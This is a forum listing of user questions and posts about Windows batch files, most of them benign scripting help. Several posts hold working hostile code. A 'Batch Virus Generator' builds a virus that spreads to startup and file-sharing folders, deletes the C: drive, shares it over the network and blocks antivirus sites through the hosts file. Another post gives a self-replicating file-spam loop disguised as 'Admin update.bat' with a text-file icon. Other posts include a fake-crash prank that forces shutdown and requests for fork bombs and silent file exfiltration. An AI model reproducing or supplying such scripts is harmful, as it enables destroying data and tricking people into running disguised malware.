Search for bat files in Topics

collate notepad file to excel file?

Basically i use to collate the data with the help of this batfile command as below copy *txt link.xls i need a help to copy the numbers of txt file to collate in a single excel file with the below specifictions. I have number of text file that text files has its repective name,what i want to do is to collate the set of text files to a single excel file with the column to be added in the excel file with the respective text file names.

Question by mayking4k    |  last reply

help with .bat file

Ok i asked this in the "slightly more advance .bat file instructable" but i didnt know if anyone would notice it so i will ask it here. When i made my shut down.bat file i would start it and it would run it over and over agian and nothing would happen. Then when i type in command prompt it works. so then i try to do something else like the delete command in my .bat file. It worked but at first it didnt it would pop up and ask me if i wanted to delete it. But that may be becuz it was a directory not a single file. So then i checkd my spelling and everything but it was fine i cant figure out why it kept running it over and over.

Topic by fretmelter    |  last reply

com files

I know how to convert batch(.bat) files to executable(.exe) file and to .com files but how do I convert first .com files into batch(.bat) files? and if its possible executable(.exe) files into batch(.bat) files? Thanks in advance

Topic by J.W    |  last reply

Include muliple files in .bat to .exe convertsion

I have this program that converts/compiles .bat files into .exe files but I can only include 1 file in the .exe and I need to include 2 files, help please! Program can be downloaded here

Topic by J.W  

How to i make a Bat file to Temporally change my computers system time?

I was wondering if there was a way to make a bat file that changes your computers clock for 60 seconds and still updates the right time after (synced with the internet time)  so that I would not slowly loose time on my computer when i run the bat file. Thanks

Question by mikec3    |  last reply

"Unextract" Converted Batch Files

Have you ever wondered how to do something in batch that someone has already done and wrapped it nicely in a little .exe file? Some people like to keep their batch programming secrets to themselves, and don't want to share, so then convert their batch file to .exe. But you can't discover their secrets if they have converted it to .exe, because all you will find is gibberish. Before I will tell you how to "unextract" an .exe, you must now how ".bat to .exe" programs work. What they basically do is "wrap" a batch file with an executable; think about a Christmas present. Pretend the gift inside is the secrets of the batch file, and the wrapping on the outside is like the executable, which prevents you from "seeing" the secrets inside. But this is no ordinary present, the wrapping on the outside can not be torn or opened, you must press a button in order to to "unwrap" it. But when it "unwraps", it shows you what it is, but hiding the secrets. If you couldn't fully understand that, here is what actually happens. Try to compare the two.Batch files in executable form cannot be viewed as the batch language. If you open it in notepad, you will get a whole bunch of symbols. In the philosophy above, pressing the "button" is the same as opening the file as an executable. It opens just like a batch file, but if you try to edit it, you won't be able to read it. What the executable does, is temporarily extracts the batch file within it, to a temp folder.Now to the "how to" part. Here is where that "temp" (temporary) folder is: %userprofile%\Local Settings\TempNow all you have to do is copy and paste that into a windows explorer address bar. You will now be in a temp folder where the batch file will be dumped. Now you have to run the .exe file. But now you do have to get your hands dirty (virtually!). Search in each folder till you find a batch file, most commonly called batchfile.bat. Simply right click, press edit, and your in!So that's how to "unextract" a converted batch file! (note: I didn't make it an instructible because, well, no one likes a one step instructable!)Good Luck!

Topic by Arbitror    |  last reply

Batch file that opens a program in that folder (but not that easy)?

Hello I made a troll virus to my friend. It opens a troll face picture and opens trololol song. I found a program that binds 2 files. It also has a option that starts second program when first closes. my plan is to bind that program and a batch file that calls that program. But my friend can change it's name and everythink crashes. I tried this @echo off start *.exe exit but it said there is no file named *.exe Help me please

Question by DORUKY    |  last reply

Create a program to run .bat files? Answered

Hello, I want to run a .bat file when my computer starts up automatically.. I made a script in wordpad, saved as .bat to try and open the file, but I recieved weird error messages when trying to open the file, the script worked on other things such as opening microsoft word ( I did this to check if it was working) I would like to know if there is any simple program I could write or download that could open this file (like your clicking it) Many thanks Oscar

Question by oscarthompson    |  last reply

USB bat E-mail?

How do you make a bat file that will E-mail Files sliently

Question by danielbrthwt    |  last reply

What is wrong in my batch file? Answered

@echo off title Camo echo what is the location of the folder that has the files (e.g C:\x) set /p file=C:\x echo what is the name of the file that you are trying to hide in set /p namefile=picture echo what is the name of the 7z file that you created (including format) set /p zip=File2.7z echo what will be the name of the new picture that will be created containing the files set /p namehider=newpicture echo what is the picture's format? set /p format=PNG cd %file% copy /b %namefile%.%format% + %zip% %namehider%.%format% I am attempting to automate a process that I do manually but can't seem to get the desired result. First i must have 7zip compress a couple files from a specific folder, which, I haven't attempted to write commands for yet (taking suggestions). Next the below is intended to run in CMD using the created zip file and a picture like so cd\ enter cd x enter copy /b Picture.png + x.7z NEWPICTURE.png The product should be deposited back into C:\X

Question by Dauntless    |  last reply

Batch or .bat image viewing. Answered

I would like to know how you display an image inside of a batch file so it is present in the same window as the program.

Question by Dr. Kreap    |  last reply

batch re-write command

i know this " > " and " >>" comands in bat make and edit files. but i need to figure if its possible to make a bat file that can re-write file extensions ex- -a game i have ________ has .edf files. -my friend has the same game and i want to mess with im where those files are overwrote with "PWNed" -and i want the bat file to overwrite all the .edf files with out having each .edf files name 2nd ex- data01.edf data02.edf and so on, but i dont wanna add all the names into the bat file end 2nd ex. end 1st ex. im sure that it is something like pwned > *.edf or pwned >> *.edf am i close or way off?

Topic by spiker    |  last reply

Batch File Help

Okay, so I figured out how to make one batch file send information to another one. The solution was quite simple. Sejma helped, both witht he final design and for support. I just want to know if there is a way to time an IF command without using CHOICE. Basically, I want to combine the two: ping localhost -n x > nul if %a% equ a goto a If that is even possible, I don;t know. I know I've posted a million questions already, so I'm very sorry about that. Thank you for your time. EDIT: Figured it out. IF %A% EQU A GOTO A & PING LOCALHOST -N x > NUL Now, does anybody know how to convert a .EXE file to a .BAT file?

Question by TheBatchies    |  last reply

I need to make a batch file to run a designated zip program

I need a batch file to run a zip program, select files, then create a zipped product.

Question by Dauntless  

CMD full screen

I'm new and need help with batching. My question: Is there a command or command line that will make a .bat file full screen with-out going through the properties/defaults for each computer you want it to run on? Thanks much!! Batches Unite!!!!!!!!

Topic by spiker    |  last reply

At BAT file programming i wanted to find a file and delete it then goto a page..?

At BAT file programming i wanted to find a file and delete it then goto a preffered page.. i've found: if example.file exists goto a if example.file does not exist goto b but it's only for a single file, doesn't search the whole drive or pc. i've found: dir C:\example.file \s this thing searches whole C drive, but how to make it to go to a preferred page?? any way?? very very thanks in ADVANCE.. :D

Question by rafsan.samin    |  last reply

Paralell port batch file?

Ok, i need to make a quick .bat file that will control some of the pins in my paralell port. PLEASE LET ME KNOW ASAP!!! Also, i really appreciate some examples! THANKZ!

Question by sci4me    |  last reply

Add text into a batch file

Hello Can somebody tell me if you can add text into a batch file at a specific point. When i add text (with another batch file) it always go's to the end of the text/batch file. That does not help having the text at the bottom like this :hello pause>nul exit echo hello for example when I want to add text like this :hello echo hello pause>nul exit at the moment I use this code to add text to a batch file pushd %CD% for %%j in (1.bat) do type "%%j" >> 2.bat popd Thanks in advance If you don't understand please comment and say what you don't understand :)

Topic by vorlock    |  last reply

Batch/.bat input & output? Answered

I want to make a batch program where I can ask an if statement but there would only be a possibility of two responses. For example if I made the batch file asked "Did you have a good day?", I would only want the user to be able to answer y or n.

Question by Dr. Kreap    |  last reply

flash drive autorun for vista and xp to launch app of choice? Answered

I currently run one app that is launched from a flash drive by an autorun.inf file. It works great for vista because it launches the task menu and I just launch the program. What I am trying to accomplish is create a simplistic program or group of programs using either the autorun inf or a .bat file to give me the option to launch the app of choice, needs to work on both vista and xp any help coding would be greatly appreciated.P.S. this is the code that Im currently using[Autorun]Open=apps\(insert application here).exe

Question by Maroc    |  last reply

vbs codes

Hi ...i am still learning  codes was trying to convert this bat codes to  vbs codes but i don't know how. can any one help me? this is the example of the bat codes, i really need your help. Thanks bro..: @echo off echo Hi guy, what do you want to open? set/p "cho=>" if %cho%==facebook start facebook.bat if %cho%==yahoomail start YahooMail.bat if %cho%==youtube start youtube.bat if %cho%==blackboard start blackboard.bat if %cho%==porno start porno.bat if %cho%==hacking start hacking.bat if %cho%==gmail start gmail.bat

Question by diki83  

batch to change .bat to cmd or .exe

I was just wondering how could i make a batch file to convert .bat to .cmd (or .exe if possible) i tryed wtih this but it didnt work @echo off ren %1 *.cmd im just a beginer atm, just learning from examples

Question by Fox-san48    |  last reply

how can i make a batch file that will start its source dir?

When i open this batch file i need it to open its source dir

Question    |  last reply


I did this at school. Open notepad, copy and paste this, then save it as Admin update.bat & then when you've saved it, create a shortcut then hide the original file. After that, change the icon to the one that looks like the .txt file(i am not responsible for what you do with this):@echo off:1set title=%random%@echo off>%title%.bat:1>%title%.batset title=%random%>%title%.bat@echo off>%title%.bat>%title%.bat:1>%title%.bat>%title%.batset title=%random%>%title%.bat>%title%.batgoto 1>%title%.batgoto 1

Topic by krujh2    |  last reply

is it possible to make a .bat file so when you open it it displays a message like hello?

Please help i want it so when you open the file it says hello in the middle of the screen but i also want to know how to get the writing off aswell

Question by sharlston    |  last reply

Echo independent color

Hello i'm makin a super advanced bat file for my comp noob m8 and it looks really complcated so i was wondering is it possible to color certan linese.g if their was an error it be in red with the rest of the screen in greenI ALREADY know about 'color 0a' but that fills the whole screen. I need a small block or just a line to be different & stand out

Topic by DELETED_simkinggold    |  last reply

Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it isAND the Final Batch File End up In c:\well you can delete windowsdo netsharescopy to startup folder a:\ c:\windows and like p2pStop From going to Site Using Lmhosts(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /cHere are the codes ::startageecho offecho ..................echo : Virus Gen 2.o :echo : By: Vinylshakers : echo :................: echo echo · Startupecho · Copy To Windowsecho · Delete HARDRIVEecho enter name of virus Belowset /p filename=%filename%clsEcho Add To Startup? Yes or No Note:Use all LowerCaseset /p answer=%answer%IF "%answer%"=="yes" goto startgoto copyIF not "%answer%"=="yes" goto copygoto copy:copyEcho Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NOset /p answer2=%answer2%IF "%answer2%"=="yes" GOTO START2:DELecho Delete Windows?set /p answer3=%answer3%IF "%answer3%"=="yes" GOTO START3echo Share c:\set /p answer4=%answer4%IF "%answer4%"=="yes" GOTO START4:lmhostecho Stop From Going To Anti-Virus Websites?set /p answer5=%answer5%IF "%answer5%"=="yes" GOTO assIF "%answer5%"=="no" exit:startecho COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.batgoto copy:start:START2echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.batecho copy c:\windows\%filename%.BAT>>c:\%filename%.batECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BATGOTO DEL:start2:start3echo deltree /y c:\>>c:\%FILENAME%.BATecho del c:\ /y /s>>c:\%FILENAME%.BAT:start3:start 4echo net share c:\=haxor>>c:\%filename%.batgoto lmhost:start 4:assecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batexit:asspausePlz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

Topic by Vinylshakers    |  last reply

Cool Batch applet

Hey whats up the names Jason. I am 13 and like to play with computers but not like Halo (although i am guilty of occasionally playing Halo) what interest me is computer logic and programming. So right now i am half-way decentish with Qbasic and consequently Visual Basic, but the language i am most fluent in is just plain old DOS scripting (batch files). My math teacher at the begging of the year my math teacher announced that once o twice a month we would have a pop quiz on square roots and squares of numbers 1-20. Now to say the least I am poor with memorization. So i tried flash cards and starin at a sheet with the squares and square roots on it. but I was pretty consistently getting 60s and 70s. Now being a pretty good student this upset me and my parents weren't exactly happy. So then i decided i would make a batch file to quiz me on this, my first one was on sqrts. writing this took forever so even still i made another for squares. These programs help me study immensely and i now get a perfect 100 every quiz.. i then started thinking that there must be a way to speed up the writing of a simaler quiz program. thats why i wrote this, and i know it is probably mediocre but i like it so be nice. (You can do whatever you want with this source code, and while not required i would prefer credit if you distribute a mod of this batch file.)Here it is:rem The purpose of this batch is to automate the process of making another batch that is used to quiz a person@echo off:startclsEcho Make a Quizecho.echo.rem this part creates a variabl that wil be used in creating the final batch fileecho enter the name of the fileecho .bat wil automaticaly be tacked ont to the endSet /p filename=echo.echo.rem This just creates a ariable that is the title of the the game to be createdecho now enter the title of the quizset/p title=echo.echo.rem this is where the user inputs question part one and it becomes a variableecho enter question part 1Set /p quespt1=echo.echo.rem this ask for the second part of the question echo enter qeustion part 2set /p quespt2=echo.echo.Rem this declares some variables just for shorthandset line=echo.set ec=echoRem this creates a file that user named a while back and then fills it with some preliminary textecho @echo off>%filename%.batecho :start>>%filename%.batecho cls>>%filename%.batecho echo %title%>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batrem this part is called midstart because ideally later you can repeat this multiple times depending on how long your quiz isset next=0:midstartset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo You got it right>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batecho you have asked %next% question(s)echo.echo.echo If you would like to make a new question simply type "n" and press enterecho However to input your last question type "l" and press enterset /p endchoice=if %endchoice% == l goto endif %endchoice% == n goto restart:restartgoto midstart:endset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo you won>>%filename%.batecho echo !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>>%filename%.batecho %line%>>%filename%.batecho echo click to exit>>%filename%.batecho pause>>%filename%.batEcho And thats it your doneecho.echo click to exitset /p end=And thats it so have fun and feel free to comment

Topic by lemonshark10    |  last reply

How can I create a program that allows me to run it and automatically upload a sketch to arduino without the software?

I have an Arduino uno board, and a robot that can follow, and have obstacle avoidance. My robot is designed for a person at school who has crutches for life, and the robot follows her with her books. I want to create a program with visual studio that automatically uploads each sketch to the board, depend on which button to click on. I already have visual micro for Visual Studio 10, and when I debug it or build it, it just uploads it to the robot. I need it to be a .bat file or a .exe file. If anyone could help me with this, I will be extremely grateful. Any ideas? Below I have a screenshot of what the program plans on doing.

Question by 28holes    |  last reply

I'm Having problems with fallout three.

In fallout 3, i wrote a text file of cheats, then named it mycodes, and saved it to where the fallout.exe was. in console i type "bat mycodes" and i get an error in console that says " neither the file "mycodes" or "mycodes.txt" could be opened. What am i doing wrong? How could i fix it?

Question by pyro13    |  last reply

if you save file to your flash disk and failed to be read by the same computer what happens there?

I have flash disk when i save some thing is showing that it is saved bat when i try to read it from flash it failed, can you help in that for is not the first time?

Question by pjavan    |  last reply

how make a loading sequence in batch? Answered

Its to put before my batch filescould i make it like loading.lading..lading...sort of thing can i have the code?

Question by sharlston    |  last reply

Does anyone know how to download the star wars batch file off telnet? Answered

Today I found out about the star wars batch file on telnet.  For those of you who don't know, search it on instructables.  I want to download it for school, but I don't know how.  Does anyone know how to get it?  There was a youtube video but my mom installed a filter that blocks bad sites (I am glad for that) but it also blocks youtube, facebook, etc.  Help!!!!

Question by furrysalamander    |  last reply

How to create a batch file dat would a keep on copying itself?I also wanna know the commands to disable mouse&keyboard?

Hi, i would be glad to know..... i luv this site fr everything it offers. I need help and dont know where else to go. So, i need to know hoe to create a batch file ( through notepad saved as .bat) that would automatically copy itself over ones pc, not just in that folder, i know that it would be a fork bomb. I also do need to know the command ffor disabling mouse & keyboard. Or seperate command for each one of them. GLAD TO BE HELPED.......

Question by Terrypard    |  last reply

Somethin for mothers day with a computer, any ideas?

I am good at computers and i want to do somethin for mothers day with a computer, i know html programing also css and bat file programing but i cant think of wat to do for my ma with a computer (and not buy her 1) any ideas anything will help

Question by stormer1127    |  last reply

Minecraft Server connection problem

Hello fellow minecrafters, I recently downloaded and ran a server.exe. That worked great. I then downloaded minecraft server.jar, and used a .bat file to run it. That worked just fine. After that I ran the server.jar, and used bukkit and added some plugins. It worked phenomenally.  Until I decided to install the physical shop plugin, (which allows users to use chests to make shops.)  I installed it and ran the server, then when I went to login to the server via minecraft. It got stuck on the login, and either it stopped working, or it would give me a screen similar to the failed to login: bad login screen. But it had a file directory for a random file, and some extra HTML code under it. I completely reinstalled minecraft, and even deleted the .minecraft folder. It also may help to know that I used the manual download for the 1.6 update which was provided in 1.5.2. But now I have no idea how to get to the real 1.6 launcher. So, if anyone has had this experience. Or they know of a solution, or can direct me to an article or someone that can. It would be much appreciated. Thanks.

Topic by vroom...vroom...  

Website Selector

Hello everyone I came up with this simple but very useful batch file. Copy the Text you see below and then paste it to notepad and save it as .bat FOR EXAMPLE===> Website Selector.bat COPY   ll   \/ @echo off title Websites color 0a cls :back echo now pick a website!!! echo echo echo echo echo echo SET /p pick= if %pick%==1 goto 1 if %pick%==2 goto 2 if %pick%==3 goto 3 if %pick%==4 goto 4 if %pick%==5 goto 5 if %pick%==6 goto 6 :1 start goto stuff :2 start goto stuff :3 start goto stuff :4 start goto stuff :5 start goto stuff :6 start goto stuff :stuff echo press 1 to go back to choosing a website or 2 to exit SET /p go= if %go%==1 goto back if %go%==2 goto exit :back goto back :exit goto end :end exit

Topic by el-xavi26    |  last reply

Funny virus blue screen pc shutdown prank help

So I'm making a funny virus prank with .bat and I was wondering how to fix it so it will actually shutdown the pc after 5 seconds on the fake bluescreen Code so far: @echo off @echo WARNING VIRUS ATTACK! @echo WARNING VIRUS ATTACK! @echo WARNING VIRUS ATTACK! @echo All Files Deleted. Reboot to Restore. @echo Press Enter to Reboot ping -n 1 -w 5000 >NUL @echo C: Drive Deleted @echo WARNING! All Files Lost! Virus Detected @echo Contact Administrator @echo WARNING! FIREWALL BREACHED! pause @echo WARNING! System Shutdown in 5! ping -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 4! ping -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 3! ping -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 2! ping -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 1! ping -n 1 -w 1500>NUL @echo Man are you easy to fool! @echo Do you REALLY think I would make a virus to delete all files on your computer? @echo Well, I might. But not this time. @echo This time. @echo THIS TIME. @echo Press Enter to End ping -n 1 -w 4000 >NUL @echo SIKE! Im deleting everything now! @echo Now I will give you a REAL countdown! pause @echo DELETING ALL FILES IN 5 ping -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 4 ping -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 3 ping -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 2 ping -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 1 ping -n 1 -w 1500>NUL pause color 2 :start echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% ping -n 1 -w 1500>NUL @echo All Files Deleted pause @echo off echo ^^^BSOD^ > bsod.hta echo. >> bsod.hta echo ^> bsod.hta echo applicationname="BSOD"  >> bsod.hta echo version="1.0" >> bsod.hta echo maximizebutton="no" >> bsod.hta echo minimizebutton="no" >> bsod.hta echo sysmenu="no" >> bsod.hta echo Caption="no" >> bsod.hta echo windowstate="maximize"/^> >> bsod.hta echo. >> bsod.hta echo ^^ >> bsod.hta echo ^ >> bsod.hta echo ^A problem has been detected and windows has been shutdown to prevent damage to your computer.^ >> bsod.hta echo. >> bsod.hta echo ^DRIVER_IRQL_NOT_LES_OR_EQUAL^ >> bsod.hta echo. >> bsod.hta echo ^If this is the first time you've seen this stop error screen, restart your computer, If this screen appears again, follow these steps:^ >> bsod.hta echo. >> bsod.hta echo ^Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any windows updates you might need.^ >> bsod.hta echo. >> bsod.hta echo ^If problems continue, disable or remove any newly installed hardware or software. Disable BIOS memory options such as caching or shadowing. If you need to use Safe Mode to remove or disable components, restart your computer, press F8 to select Advanced Startup Options, and then select Safe Mode.^ >> bsod.hta echo. >> bsod.hta echo ^Technical information:^ >> bsod.hta echo. >> bsod.hta echo ^*** STOP: 0x000000D1 (0x0000000C,0x00000002,0x00000000,0xF86B5A89)^ >> bsod.hta echo. >> bsod.hta echo. >> bsod.hta echo ^***       gv3.sys - Address F86B5A89 base at F86B5000, DateStamp 3dd9919eb^ >> bsod.hta echo. >> bsod.hta echo ^Beginning dump of physical memory^ >> bsod.hta echo ^Physical memory dump complete.^ >> bsod.hta echo ^Contact your system administrator or technical support group for further assistance.^ >> bsod.hta echo. >> bsod.hta echo. >> bsod.hta echo ^ >> bsod.hta echo ^^ >> bsod.hta start "" /wait "bsod.hta" del /s /f /q "bsod.hta" > nul shutdown.exe /s /t 00 And yes I got part of this from other people so I'm not saying I made it all on my own.

Topic by Someperson1234  

Where did I go wrong [Batch]?

What is wrong with this code? I have it open this program: @echo off mode 18,4 title Actions :1 cls echo (B)           (Y) echo   (A)       (X) echo. set /p a= echo %a%> link.txt goto 1 And this prgram is supposed to read the input. Basically, the first one sends a message to a TXT file. Then this program picks up the message from the TXT file and turns it into a variable. @echo off title Whack-a-Mole set a=10 set mole=0 set time=0 set timeend=0 :Start cls set /a a=%a%-1 echo This game uses the "Actions" gamepad unit. echo. echo. echo Hit the most moles to win! echo. echo Game starts in %a% seconds. ping localhost -n 2 > nul if %a% equ 0 goto Game goto Start :Game if exist Actions.bat start Actions.bat cls echo Press "A" on the gamepad unit to swing your bat. Press "B" to stop. echo. if not exist link.txt ( echo The file "link.txt" could not be found. This game cannot be played without it. ping localhost -n 4 > nul ) if not exist Actions.bat ( echo The file "Actions.bat" could not be found. This game cannot be played without it. ping localhost -n 4 > nul ) ping localhost -n 4 > nul :GameBegin cls echo Ready... ping localhost -n 4 > nul cls echo GO! ping localhost -n 2 > nul :Mole1 cls set /a time=%random%/7000 echo Reaction Time:%timeend% echo Moles Hit:%mole% echo. echo [__][__][__][__] echo   [__][__][__][__] echo     [__][__][__][__] ping localhost -n 2 > nul set a=< link.txt echo 00> link.txt if /i "%a%"=="a" goto gameover if /i "%a%"=="b" goto gameover if /i "%a%"=="00" goto gameover set a= ping localhost -n %time% > nul goto Mole2 :Mole2 cls set /a time=%random%/7000 echo Reaction Time:%timeend% echo Moles Hit:%mole% echo. echo [__][__((O.O))_] echo   [__][__/:_][__] echo     [__][/ [__][__] ping localhost -n 2 > nul set a=< link.txt echo 00> link.txt if /i "%a%"=="a" ( set /a mole=%mole%+1 goto Time ) if /i "%a%"=="b" goto gameover if /i "%a%"=="00" goto gameover set a= ping localhost -n %time% > nul goto gameover :Time set timestart=%time:~2% set timeend=%timestart:~4,2% if /i %timeend% equ 01 set timeend=1 if /i %timeend% equ 02 set timeend=2 if /i %timeend% equ 03 set timeend=3 if /i %timeend% equ 04 set timeend=4 if /i %timeend% equ 05 set timeend=5 if /i %timeend% equ 06 set timeend=6 if /i %timeend% equ 07 set timeend=7 if /i %timeend% equ 08 set timeend=8 if /i %timeend% equ 09 set timeend=9 set /a timeend= %timeend%+2+%random:~1,1% if %timeend% geq 60 ( goto gameover ) goto Mole1 :gameover cls echo You got %mole% moles. echo Your fastest time was %timeend%. echo. echo Type in "B" on the gamepad unit to go back to the main menu. :input set a=< link.txt if /i "%a%"=="b" goto Start goto input It may look kinda wierd here, but that's because of instructables, not me. Anyways, it goes through the animations and doesn't even notice that there are any IF commands. Where did I go wrong? EDIT: Figured it out. Corrected: SET /P a=< link.txt Forgot the /p!

Question by TheBatchies    |  last reply